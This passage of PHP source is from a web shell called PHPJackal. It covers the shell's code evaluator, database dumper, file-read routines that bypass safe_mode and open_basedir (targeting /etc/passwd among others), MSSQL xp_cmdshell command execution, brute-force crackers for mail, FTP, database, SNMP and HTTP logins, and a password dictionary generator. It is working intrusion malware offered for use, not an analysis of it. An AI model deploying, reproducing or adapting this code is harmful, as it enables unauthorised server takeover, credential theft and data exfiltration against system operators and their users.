  1515. return $res;
  1516. }
  1517. break;
  1518. }
  1519. return 0;
  1520. }
  1521. function phpevaL(){
  1522. global $hcwd;
  1523. echo '<img src="http://h.ackerz.com/PHPJackal/images/evaler.png" style="border: none; margin: 0;" /><br /><br /><form class="form" method="POST">';
  1524. if(!empty($_REQUEST['code'])){
  1525. echo '<div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><pre>';
  1526. $s=array('<?php'=>'','<?='=>'','<?'=>'','?>'=>''); echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code']))).'</pre>
  1527. </div></div>';}echo '<div class="fieldwrapper"><label class="styled">Code:</label><div class="thefield">
  1528. <textarea name="code">';if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);else echo 'for($J=0;$J<10;$J++){for($I=0;$I<10;$I++)echo "FREEDOM! ";echo "\r\n";}';echo '</textarea>
  1529. </div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form>';
  1530. }
  1531. function toolS(){
  1532. global $hcwd,$cwd;
  1533. echo '<img src="http://h.ackerz.com/PHPJackal/images/tools.png" style="border: none; margin: 0;" /><br /><br />';
  1534. if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){
  1535. $ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5);
  1536. fputs($ser,$_REQUEST['domaiN']."\r\n");
  1537. echo '<pre>';
  1538. while(!feof($ser))echo fgets($ser,1024);
  1539. echo '</pre>';
  1540. fclose($ser);
  1541. }
  1542. elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['ouT'])){
  1543. $Link=mysql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
  1544. $DB=$_REQUEST['dB'];
  1545. $Dump="/*
  1546. Dump generated by PHPJackal
  1547. Website: http://h.ackerz.com
  1548. */
  1549.  
  1550.  
  1551. DROP DATABASE IF EXISTS `$DB`;
  1552. CREATE DATABASE `$DB`;
  1553.  
  1554. ";
  1555. mysql_select_db($DB,$Link);
  1556. $result=mysql_query("SHOW TABLES",$Link);
  1557. $table=array();
  1558. while($data=mysql_fetch_row($result)) $table[]=$data[0];
  1559. foreach($table as $t){
  1560. $Dump.= "DROP TABLE IF EXISTS `$t`;
  1561. ";
  1562. $result=mysql_query("SHOW CREATE TABLE `$t`",$Link);
  1563. while($data=mysql_fetch_row($result)){
  1564. $Dump.= $data[1].";\n\n";
  1565. }
  1566. $sql="select * from `$t`;";
  1567. $result=mysql_query($sql);
  1568. $num_rows= mysql_num_rows($result);
  1569. $num_fields= mysql_num_fields($result);
  1570. if( $num_rows> 0) {
  1571. $field_type=array();
  1572. $i=0;
  1573. while( $i <$num_fields)
  1574. {
  1575. $meta= mysql_fetch_field($result, $i);
  1576. array_push($field_type, $meta->type);
  1577. $i++;
  1578. }
  1579. $Dump.= "INSERT INTO `$t` VALUES";
  1580. $index=0;
  1581. while( $row= mysql_fetch_row($result))
  1582. {
  1583. $Dump.= "(";
  1584. for( $i=0; $i <$num_fields; $i++)
  1585. {
  1586. if( is_null( $row[$i]))
  1587. $Dump.= "null";
  1588. else
  1589. {
  1590. switch( $field_type[$i])
  1591. {
  1592. case 'int':
  1593. $Dump.= $row[$i];
  1594. break;
  1595. case 'string':
  1596. case 'blob' :
  1597. default:
  1598. $Dump.= "'".mysql_real_escape_string($row[$i])."'";
  1599. }
  1600. }
  1601. if( $i <$num_fields-1)
  1602. $Dump.= ",";
  1603. }
  1604. $Dump.= ")";
  1605. if( $index <$num_rows-1)
  1606. $Dump.= ",";
  1607. else
  1608. $Dump.= ";";
  1609. $Dump.= "\n";
  1610. $index++;
  1611. }
  1612. }
  1613. }
  1614. file_put_contents($_REQUEST['ouT'],$Dump);
  1615. echo "<b>Done! </b>[<a href=\"".hlinK("workingdiR=".dirname($_REQUEST['ouT'])."&downloaD=".basename($_REQUEST['ouT']))."\">Download</a>]<br />";
  1616. }
  1617. elseif(!empty($_REQUEST['urL'])){
  1618. $h='';
  1619. $u=parse_url($_REQUEST['urL']);
  1620. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
  1621. $ser=fsockopen($host,$port,$en,$es,5);
  1622. if($ser){
  1623. fputs($ser,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  1624. echo '<pre>';
  1625. while($h!="\r\n"){$h=fgets($ser,1024);echo $h;}
  1626. echo '</pre>';
  1627. fclose($ser);
  1628. }
  1629. }
  1630. elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){
  1631. $htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd';
  1632. $htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess';
  1633. file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES));
  1634. file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n");
  1635. echo 'Done';
  1636. }
  1637. echo '
  1638. <form method="POST" class="feedbackform"><div class="fieldwrapper">
  1639. <label class="styled" style="width:320px">MySQL Dump</label>
  1640. </div>
  1641. <div class="fieldwrapper">
  1642. <label class="styled">Server:</label>
  1643. <div class="thefield">
  1644. <input type="text" name=serveR value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);
  1645. else echo 'localhost';echo '" size="30" />
  1646. </div>
  1647. </div>
  1648. <div class="fieldwrapper">
  1649. <label class="styled">Database:</label>
  1650. <div class="thefield">
  1651. <input type="text" name=dB value="';if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);
  1652. else echo 'users';echo '" size="30" />
  1653. </div>
  1654. </div>
  1655. <div class="fieldwrapper">
  1656. <label class="styled">Username:</label>
  1657. <div class="thefield">
  1658. <input type="text" name=useR value="';if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);
  1659. else echo 'root';echo '" size="30" />
  1660. </div>
  1661. </div>
  1662. <div class="fieldwrapper">
  1663. <label class="styled">Password:</label>
  1664. <div class="thefield">
  1665. <input type="text" name=pasS value="';if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);
  1666. else echo '123456';echo '" size="30" />
  1667. </div>
  1668. </div>
  1669. <div class="fieldwrapper">
  1670. <label class="styled">Output:</label>
  1671. <div class="thefield">
  1672. <input type="text" name=ouT value="';if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']);
  1673. else echo whereistmP().'/dump.sql';echo '" size="30" />
  1674. </div>
  1675. </div>
  1676. '.$hcwd.'<div class="buttonsdiv">
  1677. <input type="submit" value="Dump" style="margin-left: 150px;" />
  1678. </div></form><br />
  1679. <form method="POST" class="feedbackform"><div class="fieldwrapper">
  1680. <label class="styled" style="width:320px">Whois</label>
  1681. </div>
  1682. <div class="fieldwrapper">
  1683. <label class="styled">Server:</label>
  1684. <div class="thefield">
  1685. <input type="text" name=serveR value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);
  1686. else echo 'whois.geektools.com';echo '" size="30" />
  1687. </div>
  1688. </div>
  1689. <div class="fieldwrapper">
  1690. <label class="styled">Domain:</label>
  1691. <div class="thefield">
  1692. <input type="text" name=domaiN value="';if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']);
  1693. else echo 'google.com';echo '" size="30" />
  1694. </div>
  1695. </div>'.$hcwd.'<div class="buttonsdiv">
  1696. <input type="submit" value="Whois" style="margin-left: 150px;" />
  1697. </div></form>
  1698. <br />
  1699. <form method="POST" class="feedbackform"><div class="fieldwrapper">
  1700. <label class="styled" style="width:320px">.ht* generator</label>
  1701. </div>
  1702. <div class="fieldwrapper">
  1703. <label class="styled">Username:</label>
  1704. <div class="thefield">
  1705. <input type="text" name=uN value="';if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);
  1706. else echo 'r00t';echo '" size="30" />
  1707. </div>
  1708. </div>
  1709. <div class="fieldwrapper">
  1710. <label class="styled">Password:</label>
  1711. <div class="thefield">
  1712. <input type="text" name=pW value="';if (!empty($_REQUEST['pW']))echo htmlspecialchars($_REQUEST['pW']);
  1713. else echo uniqid('@');echo '" size="30" />
  1714. </div>
  1715. </div>
  1716. <div class="fieldwrapper">
  1717. <label class="styled">Directory:</label>
  1718. <div class="thefield">
  1719. <input type="text" name=ouT value="';if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']);
  1720. else echo $cwd;echo '" size="30" />
  1721. </div>
  1722. </div>'.$hcwd.'<div class="buttonsdiv">
  1723. <input type="submit" value="Generate" style="margin-left: 150px;" />
  1724. </div></form>
  1725. <br />
  1726. <form method="POST" class="feedbackform"><div class="fieldwrapper">
  1727. <label class="styled" style="width:320px">Header grabber</label>
  1728. </div>
  1729. <div class="fieldwrapper">
  1730. <label class="styled">URL:</label>
  1731. <div class="thefield">
  1732. <input type="text" name=urL value="';if (!empty($_REQUEST['urL'])) echo htmlspecialchars($_REQUEST['urL']);
  1733. else echo 'http://h.ackerz.com/index.php';echo '" size="30" />
  1734. </div>
  1735. </div>'
  1736. .$hcwd.'<div class="buttonsdiv">
  1737. <input type="submit" value="Get" style="margin-left: 150px;" />
  1738. </div></form>';}
  1739. function hexvieW(){
  1740. if(!empty($_REQUEST['filE'])){
  1741. $f=$_REQUEST['filE'];
  1742. echo "<table border=0 style='border-collapse: collapse' width='100%'><th width='10%' bgcolor='#282828'>Offset</th><th width='25%' bgcolor='#282828'>Hex</th><th width='25%' bgcolor='#282828'></th><th width='40%' bgcolor='#282828'>ASCII</th></tr>";
  1743. $file=fopen($f,'r');
  1744. $i=-1;
  1745. while(!feof($file)){
  1746. $ln='';
  1747. $i++;
  1748. echo "<tr><td width='10%' bgcolor='#";
  1749. if($i % 2==0)echo '666666';else echo '808080';
  1750. echo "'>";echo str_repeat('0',(8-strlen(dechex($i*16)))).dechex($i*16);echo '</td>';
  1751. echo "<td width='25%' bgcolor='#";
  1752. if($i % 2==0)echo '666666';else echo '808080';
  1753. echo "'>";
  1754. for($j=0;$j<=7;$j++){
  1755. if(!feof($file)){
  1756. $tmp=strtoupper(dechex(ord(fgetc($file))));
  1757. if(strlen($tmp)==1)$tmp='0'.$tmp;
  1758. echo $tmp.' ';
  1759. $ln.=$tmp;
  1760. }
  1761. }
  1762. echo "</td><td width='25%' bgcolor='#";
  1763. if($i % 2==0)echo '666666';else echo '808080';
  1764. echo "'>";
  1765. for($j=7;$j<=14;$j++){
  1766. if(!feof($file)){
  1767. $tmp=strtoupper(dechex(ord(fgetc($file))));
  1768. if(strlen($tmp)==1)$tmp='0'.$tmp;
  1769. echo $tmp.' ';
  1770. $ln.=$tmp;
  1771. }
  1772. }
  1773. echo "</td><td width='40%' bgcolor='#";
  1774. if($i % 2==0)echo '666666';else echo '808080';
  1775. echo "'>";
  1776. $n=0;$asc='';$co=0;
  1777. for($k=0;$k<=16;$k++){
  1778. $co=hexdec(substr($ln,$n,2));
  1779. if(($co<=31)||(($co>=127)&&($co<=160)))$co=46;
  1780. $asc.=chr($co);
  1781. $n+=2;
  1782. }
  1783. echo htmlspecialchars($asc);
  1784. echo '</td></tr>';
  1785. }
  1786. }
  1787. fclose($file);
  1788. echo '</table>';
  1789. }
  1790. function safemodE(){
  1791. global $windows,$hcwd;
  1792. $file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file'];
  1793. $pr="\r\n</font><font color=green>Method ";
  1794. $po=")</font><font color=blue>\r\n";
  1795. $i=1;
  1796. echo '<img src="http://h.ackerz.com/PHPJackal/images/safemode.png" style="border: none; margin: 0;" /><br /><br />';
  1797. if(!empty($_REQUEST['read'])){
  1798. echo "<pre>$pr$i:(ini_restore$po";
  1799. ini_restore('safe_mode');ini_restore('open_basedir');
  1800. readfile($file);
  1801. $i++;
  1802. echo "$pr$i:(include$po";
  1803. include($file);
  1804. $i++;
  1805. echo "$pr$i:(copy$po";
  1806. $tmp=tempnam('','cx');
  1807. copy('compress.zlib://'.$file,$tmp);
  1808. $fh=fopen($tmp,'r');
  1809. $data=fread($fh,filesize($tmp));
  1810. fclose($fh);
  1811. echo $data;
  1812. $i++;
  1813. if(function_exists('mb_send_mail')){
  1814. echo "$pr$i:(mb_send_mail$po";
  1815. if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
  1816. mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
  1817. readfile('/tmp/mb_send_mail');
  1818. $i++;
  1819. }
  1820. if(function_exists('curl_init')){
  1821. echo "$pr$i:(curl_init [A]$po";
  1822. $fh=curl_init('file://'.$file.'');
  1823. $tmp=curl_exec($fh);
  1824. echo $tmp;
  1825. $i++;
  1826. echo "$pr$i:(curl_init [B]$po";
  1827. $i++;
  1828. if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
  1829. else $ch=curl_init('file://'.$file."\x00".__FILE__);
  1830. var_dump(curl_exec($ch));
  1831. }
  1832. if(is_writable('.')){
  1833. echo "$pr$i:(php.ini$po";
  1834. file_put_contents('php.ini','safe_mode = Off');
  1835. readfile($file);
  1836. unlink('php.ini');
  1837. $i++;
  1838. }
  1839. if(extension_loaded('perl')){
  1840. echo "$pr$i:(perl$po";
  1841. echo perlshelL("type \"$file\"");
  1842. $i++;
  1843. }
  1844. if(is_object($ws=new COM('WScript.Shell'))){
  1845. echo "$pr$i:(COM$po";
  1846. echo comshelL("type \"$file\"",$ws);
  1847. $i++;
  1848. }
  1849. if(extension_loaded('ffi') && $windows){
  1850. echo "$pr$i:(FFI$po";
  1851. echo ffishelL("type \"$file\"");
  1852. $i++;
  1853. }
  1854. if(checkfunctioN('win_shell_execute')){
  1855. echo "$pr$i:(win32std$po";
  1856. echo winshelL("type \"$file\"");
  1857. $i++;
  1858. }
  1859. if(checkfunctioN('win32_create_service')){
  1860. echo "$pr$i:(win32service$po";
  1861. echo srvshelL("type \"$file\"");
  1862. $i++;
  1863. }
  1864. if(function_exists('imap_open')){
  1865. echo "$pr$i:(imap [A]$po";
  1866. $str=imap_open('/etc/passwd','','');
  1867. $list=imap_list($str,$file,'*');
  1868. for($i=0;$i<count($list);$i++)echo $list[$i]."\n";
  1869. imap_close($str);
  1870. $i++;
  1871. echo "$pr$i:(imap [B]$po";
  1872. $str=imap_open($file,'','');
  1873. $tmp=imap_body($str,1);
  1874. echo $tmp;
  1875. imap_close($str);
  1876. $i++;
  1877. }
  1878. if($file=='/etc/passwd'){
  1879. echo "$pr$i:(posix$po";
  1880. for($uid=0;$uid<99999;$uid++){
  1881. $h=posix_getpwuid($uid);
  1882. if(!empty($h))foreach($h as $v)echo "$v:";
  1883. echo "\r\n";
  1884. }
  1885. }
  1886. echo "\n</pre></font>";
  1887. }
  1888. elseif(!empty($_REQUEST['show'])){
  1889. echo "<pre>$pr$i:(glob$po";
  1890. $con=glob("$file*");
  1891. foreach ($con as $v)echo "$v\n";
  1892. $i++;
  1893. if(function_exists('imap_open')){
  1894. echo "$pr$i:(imap$po";
  1895. $str=imap_open('/etc/passwd','','');
  1896. $s=explode("|",$file);
  1897. if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
  1898. for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n";
  1899. imap_close($str);
  1900. $i++;
  1901. }
  1902. if(is_object($ws=new COM('WScript.Shell'))){
  1903. echo "$pr$i:(COM$po";
  1904. $exec=comshelL("dir \"$file\"",$ws);
  1905. $exec=str_replace("\t",'',$exec);
  1906. echo $exec;
  1907. $i++;
  1908. }
  1909. if(checkfunctioN('win_shell_execute')){
  1910. echo "$pr$i:(win32std$po";
  1911. echo winshelL("dir \"$file\"");
  1912. $i++;
  1913. }
  1914. if(checkfunctioN('win32_create_service')){
  1915. echo "$pr$i:(win32service$po";
  1916. echo srvshelL("dir \"$file\"");
  1917. $i++;
  1918. }
  1919. echo "\n</pre></font>";
  1920. }
  1921. elseif(!empty($_REQUEST['sql'])){
  1922. $ta=uniqid('N');
  1923. $s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta");
  1924. $l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']);
  1925. mysql_select_db($_REQUEST['db'],$l);
  1926. echo '<pre><font color=blue>';
  1927. foreach($s as $v){
  1928. $q = mysql_query($v,$l);
  1929. while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]);
  1930. }
  1931. echo '</pre></font>';
  1932. }
  1933. elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){
  1934. $res='';
  1935. $tb=uniqid('NJ');
  1936. $db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
  1937. mssql_select_db($_REQUEST['dB'],$db);
  1938. mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db);
  1939. mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db);
  1940. $re=mssql_query("select * from $tb",$db);
  1941. while(($row=mssql_fetch_row($re)))
  1942. {
  1943. $res.= $row[0]."\r\n";
  1944. }
  1945. mssql_query("drop table $tb",$db);
  1946. mssql_close($db);
  1947. echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>";
  1948. }
  1949. $f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd';
  1950. $u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root';
  1951. $p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456';
  1952. $d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test';
  1953. echo '
  1954. <form name="client" method="POST">
  1955. <div class="fieldwrapper">
  1956. <label class="styled" style="width:320px">Use PHP Bugs</label>
  1957. </div><div class="fieldwrapper">
  1958. <label class="styled">File:</label>
  1959. <div class="thefield">
  1960. <input type="text" name="file" value="'.$f.'" size="30" />
  1961. </div>
  1962. </div>'.$hcwd.'<div class="buttonsdiv">
  1963. <input type="submit" name="read" value="Read File" style="margin-left: 150px;" />
  1964. </div>
  1965. <div class="buttonsdiv">
  1966. <input type="submit" name="show" value="List directory" style="margin-left: 150px;" />
  1967. </div>
  1968. </form>
  1969. <br />
  1970. <form name="client1" method="POST">
  1971. <div class="fieldwrapper">
  1972. <label class="styled" style="width:320px">Use MySQL</label>
  1973. </div><div class="fieldwrapper">
  1974. <label class="styled">File:</label>
  1975. <div class="thefield">
  1976. <input type="text" name="file" value="'.$f.'" size="30" />
  1977. </div>
  1978. </div><div class="fieldwrapper">
  1979. <label class="styled">Username:</label>
  1980. <div class="thefield">
  1981. <input type="text" name="user" value="'.$u.'" size="30" />
  1982. </div>
  1983. </div><div class="fieldwrapper">
  1984. <label class="styled">Password:</label>
  1985. <div class="thefield">
  1986. <input type="text" name="pass" value="'.$p.'" size="30" />
  1987. </div>
  1988. </div><div class="fieldwrapper">
  1989. <label class="styled">Database:</label>
  1990. <div class="thefield">
  1991. <input type="text" name="db" value="'.$d.'" size="30" />
  1992. </div>
  1993. </div>'.$hcwd.'
  1994. <div class="buttonsdiv">
  1995. <input type="submit" name="sql" value="Read" style="margin-left: 150px;" />
  1996. </div>
  1997. </form>
  1998. <br />
  1999. <form name="client2" method="POST">
  2000. <div class="fieldwrapper">
  2001. <label class="styled" style="width:320px">MSSQL Exec</label>
  2002. </div><div class="fieldwrapper">
  2003. <label class="styled">Server:</label>
  2004. <div class="thefield">
  2005. <input type="text" name="serveR" value="';if(!empty($_REQUEST['serveR']))echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo '" size="30" />
  2006. </div>
  2007. </div><div class="fieldwrapper">
  2008. <label class="styled">Username:</label>
  2009. <div class="thefield">
  2010. <input type="text" name="useR" value="';if(!empty($_REQUEST['useR']))echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo '" size="30" />
  2011. </div>
  2012. </div><div class="fieldwrapper">
  2013. <label class="styled">Password:</label>
  2014. <div class="thefield">
  2015. <input type="text" name="pasS" value="';if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo '" size="30" />
  2016. </div>
  2017. </div><div class="fieldwrapper">
  2018. <label class="styled">Command:</label>
  2019. <div class="thefield">
  2020. <input type="text" name="coM" value="';if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo '" size="30" />
  2021. </div>
  2022. </div><div class="fieldwrapper">
  2023. <label class="styled">Database:</label>
  2024. <div class="thefield">
  2025. <input type="text" name="dB" value="';if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo '" size="30" />
  2026. </div>
  2027. </div>'.$hcwd.'
  2028. <div class="buttonsdiv">
  2029. <input type="submit" value="Execute" style="margin-left: 150px;" />
  2030. </div>
  2031. </form>
  2032. ';
  2033. }
  2034. function crackeR(){
  2035. global $hcwd,$cwd;
  2036. echo '<img src="http://h.ackerz.com/PHPJackal/images/cracker.png" style="border: none; margin: 0;" /><br /><br />';
  2037. $check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0;
  2038. if(!empty($_REQUEST['cracK']) && !$check){
  2039. $c=htmlspecialchars($_REQUEST['cracK']);
  2040. echo '<form name=cracker method="POST">
  2041. <div class="fieldwrapper">
  2042. <label class="styled" style="width:320px">'.$c.' cracker</label>
  2043. </div>
  2044. <div class="fieldwrapper">
  2045. <label class="styled">Target:</label>
  2046. <div class="thefield">
  2047. <input type="text" name="target" size="30" />
  2048. </div>
  2049. </div>
  2050. <div class="fieldwrapper">
  2051. <label class="styled">Userlist:</label>
  2052. <div class="thefield">
  2053. <input type="text" name="dictionary" size="30" />
  2054. </div>
  2055. </div>
  2056. <div class="fieldwrapper">
  2057. <label class="styled"><input type=checkbox name=combo value=1 onClick="document.cracker.passlst.disabled = !document.cracker.passlst.disabled;"> Combo</label>
  2058. <div class="thefield">
  2059. <input type=text name=passlst size=20 value="/tmp/passlist.txt">
  2060. </div>
  2061. </div>
  2062. <div class="fieldwrapper">
  2063. <label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
  2064. <div class="thefield">
  2065. <input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
  2066. </div>
  2067. </div>
  2068. '.$hcwd.'
  2069. <div class="buttonsdiv">
  2070. <input type="submit" value="Start" style="margin-left: 150px;" />
  2071. </div>
  2072. </form>';
  2073. }
  2074. elseif(!empty($_REQUEST['cracK']) && $check){
  2075. $pro=strtolower($_REQUEST['cracK']).'checK';
  2076. $target=$_REQUEST['target'];
  2077. $type=$_REQUEST['combo'];
  2078. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  2079. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2080. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  2081. if($dictionary){
  2082. echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
  2083. if(!$type)$pl=file($_REQUEST['passlst']);
  2084. while(!feof($dictionary)){
  2085. if($type){
  2086. $combo=trim(fgets($dictionary)," \n\r");
  2087. $user=substr($combo,0,strpos($combo,':'));
  2088. $pass=substr($combo,strpos($combo,':')+1);
  2089. $ret=$pro($target,$user,$pass,5);
  2090. if($ret==-1){echo "Can not connect to server.";break;}elseif($ret){$x="U: $user P: $pass";echo "$x<br />";if($log)file_add_contentS($file,"$x\r\n");}
  2091. }else{
  2092. $user=trim(fgets($dictionary)," \n\r");
  2093. foreach ($pl as $pass){
  2094. $pass=trim($pass);
  2095. $ret=$pro($target,$user,$pass,5);
  2096. if($ret==-1){echo "Can not connect to server.";break 2;}elseif($ret){$x="U: $user P: $pass";echo "$x<br />";break;if($log)file_add_contentS($file,"$x\r\n");}
  2097. }
  2098. }
  2099. }
  2100. echo '<br />Done</font>';
  2101. fclose($dictionary);
  2102. }
  2103. else{
  2104. echo "Can not open dictionary.";
  2105. }
  2106. }
  2107. else{
  2108. echo '<ul>
  2109. <li><a href="'.hlinK("seC=hc&workingdiR=$cwd").'">Hash</a></li>
  2110. <li><a href="'.hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd").'">SMTP</a></li>
  2111. <li><a href="'.hlinK("seC=cr&cracK=POP3&workingdiR=$cwd").'">POP3</a></li>
  2112. <li><a href="'.hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd").'">IMAP</a></li>
  2113. <li><a href="'.hlinK("seC=cr&cracK=FTP&workingdiR=$cwd").'">FTP</a></li>
  2114. <li><a href="'.hlinK("seC=snmp&workingdiR=$cwd").'">SNMP</a></li>
  2115. <li><a href="'.hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd").'">MySQL</a></li>
  2116. <li><a href="'.hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd").'">MSSQL</a></li>
  2117. <li><a href="'.hlinK("seC=fcr&workingdiR=$cwd").'">HTTP Form</a></li>
  2118. <li><a href="'.hlinK("seC=auth&workingdiR=$cwd").'">HTTP Auth(basic)</a></li>
  2119. <li><a href="'.hlinK("seC=dic&workingdiR=$cwd").'">Dictionary maker</a></li>
  2120. </ul>';
  2121. }
  2122. }
  2123. function phpjackal(){
  2124. global $VERSION,$cwd;
  2125. if(!empty($_REQUEST['chkveR'])){
  2126. echo file_get_contents("http://h.ackerz.com/PHPJackal/chkver.php?v=$VERSION");
  2127. }else
  2128. echo '<img src="http://h.ackerz.com/PHPJackal/images/phpjackal.png" style="border: none; margin: 0;" /><br /><br /><ul><li><a href="'.hlinK("seC=phpjackal&workingdiR=$cwd&chkveR=1").'">Check version</a></li><li><a href="#" onclick="if(confirm(\'Are you sure?\'))window.location=\''.hlinK("seC=phpjackal&workingdiR=$cwd&slfrmv=1").'\';">Self removal</a></li></ul>';
  2129. }
  2130. function snmpcrackeR(){
  2131. global $hcwd;
  2132. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  2133. $target=$_REQUEST['target'];
  2134. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  2135. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2136. if($dictionary){
  2137. echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
  2138. while(!feof($dictionary)){
  2139. $com=trim(fgets($dictionary)," \n\r");
  2140. $res=snmpchecK($target,$com,2);
  2141. if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com\r\n");}
  2142. }
  2143. echo '<br>Done</font>';
  2144. fclose($dictionary);
  2145. }
  2146. else{
  2147. echo "Can not open dictionary.";
  2148. }
  2149. }else
  2150. echo '<form name=cracker method="POST">
  2151. <div class="fieldwrapper">
  2152. <label class="styled" style="width:320px">SNMP cracker</label>
  2153. </div><div class="fieldwrapper">
  2154. <label class="styled">Dictionary:</label>
  2155. <div class="thefield">
  2156. <input type="text" name="dictionary" size="30" />
  2157. </div>
  2158. </div><div class="fieldwrapper">
  2159. <label class="styled">Target:</label>
  2160. <div class="thefield">
  2161. <input type="text" name="target" size="30" />
  2162. </div>
  2163. </div><div class="fieldwrapper">
  2164. <label class="styled"><input type=checkbox name=loG value=1 onClick="document.hashform.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
  2165. <div class="thefield">
  2166. <input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
  2167. </div>
  2168. </div>
  2169. '.$hcwd.'
  2170. <div class="buttonsdiv">
  2171. <input type="submit" value="Start" style="margin-left: 150px;" />
  2172. </div>
  2173. </form>';
  2174. }
  2175. function dicmakeR(){
  2176. global $windows,$hcwd;
  2177. $combo=(empty($_REQUEST['combo']))?0:1;
  2178. if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
  2179. $min=$_REQUEST['min'];
  2180. $max=$_REQUEST['max'];
  2181. if($max<$min){echo"Bad input!";return;};
  2182. $s=$w='';
  2183. $out=$_REQUEST['output'];
  2184. $r=$_REQUEST['range'];
  2185. $dic=fopen($out,'w');
  2186. if($r==1){
  2187. for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){
  2188. $w=$s;
  2189. if($combo)$w="$w:$w";
  2190. fwrite($dic,$w."\n");
  2191. }
  2192. }
  2193. else{
  2194. $s=str_repeat($r,$min);
  2195. while(strlen($s)<$max){
  2196. $w=$s;
  2197. if($combo)$w="$w:$w";
  2198. fwrite($dic,$w."\n");
  2199. $s++;
  2200. }
  2201. }
  2202. fclose($dic);
  2203. echo '<font color=blue>Done</font>';
  2204. }
  2205. elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
  2206. $input=fopen($_REQUEST['input'],'r');
  2207. if(!$input){
